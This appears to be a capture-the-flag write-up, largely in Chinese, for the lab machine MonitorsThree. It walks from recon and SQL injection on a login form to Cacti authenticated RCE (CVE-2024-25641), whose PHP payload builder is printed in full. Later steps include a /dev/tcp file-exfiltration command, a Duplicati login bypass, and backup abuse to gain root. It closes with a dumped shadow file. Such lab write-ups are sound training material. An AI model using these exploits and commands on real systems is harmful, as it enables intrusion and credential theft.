MonitorsThree

Recon & Enum

Nmap Scan

1
2
3
4
5
6
7
8
9
10
11
12
13
nmap -p- --min-rate 1000 -T4 -sC -sV -O -v [ip]

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 86:f8:7d:6f:42:91:bb:89:72:91:af:72:f3:01:ff:5b (ECDSA)
|_ 256 50:f9:ed:8e:73:64:9e:aa:f6:08:95:14:f0:a6:0d:57 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://monitorsthree.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
8084/tcp filtered websnp

VHost Scan

1
2
3
ffuf -u http://monitorsthree.htb/ -H "Host: FUZZ.monitorsthree.htb" -w /usr/share/seclists/Discovery/DNS/n0kovo_subdomains.txt -fs 13560

cacti [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 128ms]

Cewl Scan

1
cewl -w log/cewl_monitorsthree_htb.log http://monitorsthree.htb/

Shell as www-data

查看主页发现登录接口

1
feroxbuster --no-state -u http://monitorsthree.htb/ -X php

目录没发现什么有意思的东西,转到 cacti.monitorsthree.htb 看一下

搜索 Cacti 相关漏洞,CVE-2022-46169、CVE-2024-29895

其中 CVE-2022-46169 测试失败,目前暂时没有凭据,先看一下有没有其他洞,关于 Cacti 后台这里,不打算测试 SQL 注入,因为这个版本不是最新版,而且也没有搜到有 SQL 注入漏洞的相关信息,因此,把重点放在 monitorsthree.htb 的登录窗口中

这里明显可以看出,是存在 SQL 注入漏洞的,那么使用自动化工具跑一下

Sqlmap 可以识别注入,但是始终跑不出来,换成 ghauri 试一下

这里发现了报错注入,那速度将会飞起

1
ghauri --batch -r forgot_pass.req --dbs
1
ghauri --batch -r forgot_pass.req -D monitorsthree_db --tables
1
ghauri --batch -r forgot_pass.req -D monitorsthree_db -T users --dump
1
hashcat -m 0 31a181c8372e3afc59dab863430610e8 /usr/share/wordlists/rockyou.txt

找到管理员密码 Hash,爆破得到管理员密码 greencacti2001

根域名的后台可以登录,但是没啥功能点可利用

Cacti 的后台也可以登录,找到一个需要认证的 RCE 漏洞 CVE-2024-25641

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

$xmldata = "<xml>
<files>
<file>
<name>resource/test.php</name>
<data>%s</data>
<filesignature>%s</filesignature>
</file>
</files>
<publickey>%s</publickey>
<signature></signature>
</xml>";
$filedata = "<?php phpinfo(); ?>";
$keypair = openssl_pkey_new();
$public_key = openssl_pkey_get_details($keypair)["key"];
openssl_sign($filedata, $filesignature, $keypair, OPENSSL_ALGO_SHA256);
$data = sprintf($xmldata, base64_encode($filedata), base64_encode($filesignature), base64_encode($public_key));
openssl_sign($data, $signature, $keypair, OPENSSL_ALGO_SHA256);
file_put_contents("test.xml", str_replace("<signature></signature>", "<signature>".base64_encode($signature)."</signature>", $data));
system("cat test.xml | gzip -9 > test.xml.gz; rm test.xml");

?>

将上述脚本写入到文件中,执行 php payload.php 会生成一个 test.xml.gz 文件

在导入包功能栏这里导入 test.xml.gz 文件

Local Enum

找到两份 mysql 的连接密码:cactiuser:cactiuserapp_user:php_app_password

可以看到有个 marcus 用户

Shell as Marcus

app_user 是主域名下的服务,也就是前面 SQL 注入的数据库,因此这里使用 cactiuser 连接

在 cacti 里面找到 这个用户的 Hash,爆破一下

拿到密码了,但是无法登录 ssh,好像是设置了只有密钥登录,那么通过 su 来看一下

换成密钥就可以登录了

查看本地环境,发现两个新端口

尝试访问,发现被重定向到登录页面,而且也能看出是 Tiny WebServer 服务,大概有其他数据库。

看到 docker-compose.yml 已经把根目录挂载了,那么思路清晰

Shell as Root

可以用 cat CTADPNHLTC.sqlite > /dev/tcp/[ip]/[port] 先下载下来

先把 8200 端口代理出来,在 Duplicati-server.sqlite 中发现了一个密码,但是 Base64 解码得到了不可打印字符,这主要是和 Duplicati 的认证方式有关,在这篇文章中可以了解

https://medium.com/@STarXT/duplicati-bypassing-login-authentication-with-server-passphrase-024d6991e9ee

先把 Server-passphrase 进行 Base64 decode + Hex Encode

输入密码,拦截登录请求,获取第一个包的响应

直接使用浏览器的 JS 获取 Hash

1
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('hmlBOyfckHdB69CIhVh3q/QIXqkio1xWl0iNc3vtDD8=') + '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a')).toString(CryptoJS.enc.Base64);

放包,在第二个请求包中输入密码,并进行 Url Encode

认证成功

看到有备份功能,尝试创建新的备份

目标位置可以设置为 /source/tmp/

源数据选择 /source/root/ 目录和 /source/etc/shadow 文件

得到了三个文件

1
2
3
duplicati-xxx.dlist.zip
duplicati-xxx.dblock.zip
duplicati-xxx.dindex.zip

首先查看 dlist.zip 压缩包中的 filelist.json 文件,其中记录了所有文件名对应的 Hash

可惜没有私钥

可以找到 flag 的位置

More

Root 权限

如何获取 root 权限呢,可以通过 Duplicati 的恢复功能,可以修改 /etc/passwd 也可以直接修改 /root/.ssh/authorized_keys

  1. 创建 /source/home/marcus/.ssh/authorized_keys 的备份
  2. 将备份恢复到 /source/root/.ssh/ 目录中
  3. 使用 marcus 用户的私钥 ssh 登录即可

Dump Hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
root:$y$j9T$3TDQ3GS5lSkNwiN4EsxVB/$Jyu3CWLTQ4mIypw/03JOtPle6vdpaoY/x6J9brbV9P4:19869:0:99999:7:::
daemon:*:19579:0:99999:7:::
bin:*:19579:0:99999:7:::
sys:*:19579:0:99999:7:::
sync:*:19579:0:99999:7:::
games:*:19579:0:99999:7:::
man:*:19579:0:99999:7:::
lp:*:19579:0:99999:7:::
mail:*:19579:0:99999:7:::
news:*:19579:0:99999:7:::
uucp:*:19579:0:99999:7:::
proxy:*:19579:0:99999:7:::
www-data:*:19579:0:99999:7:::
backup:*:19579:0:99999:7:::
list:*:19579:0:99999:7:::
irc:*:19579:0:99999:7:::
gnats:*:19579:0:99999:7:::
nobody:*:19579:0:99999:7:::
_apt:*:19579:0:99999:7:::
systemd-network:*:19579:0:99999:7:::
systemd-resolve:*:19579:0:99999:7:::
messagebus:*:19579:0:99999:7:::
systemd-timesync:*:19579:0:99999:7:::
pollinate:*:19579:0:99999:7:::
sshd:*:19579:0:99999:7:::
syslog:*:19579:0:99999:7:::
uuidd:*:19579:0:99999:7:::
tcpdump:*:19579:0:99999:7:::
tss:*:19579:0:99999:7:::
landscape:*:19579:0:99999:7:::
fwupd-refresh:*:19579:0:99999:7:::
usbmux:*:19861:0:99999:7:::
marcus:$y$j9T$E2hoLeuzugmRkxli4l2tW0$yW1Z2shW601aB1eqvybmrTri2Z6X6l9Wz5IIhK89Dd2:19861:0:99999:7:::
lxd:!:19861::::::
mysql:!:19861:0:99999:7:::
Debian-snmp:!:19861:0:99999:7:::
dnsmasq:*:19863:0:99999:7:::
_laurel:!:19954::::::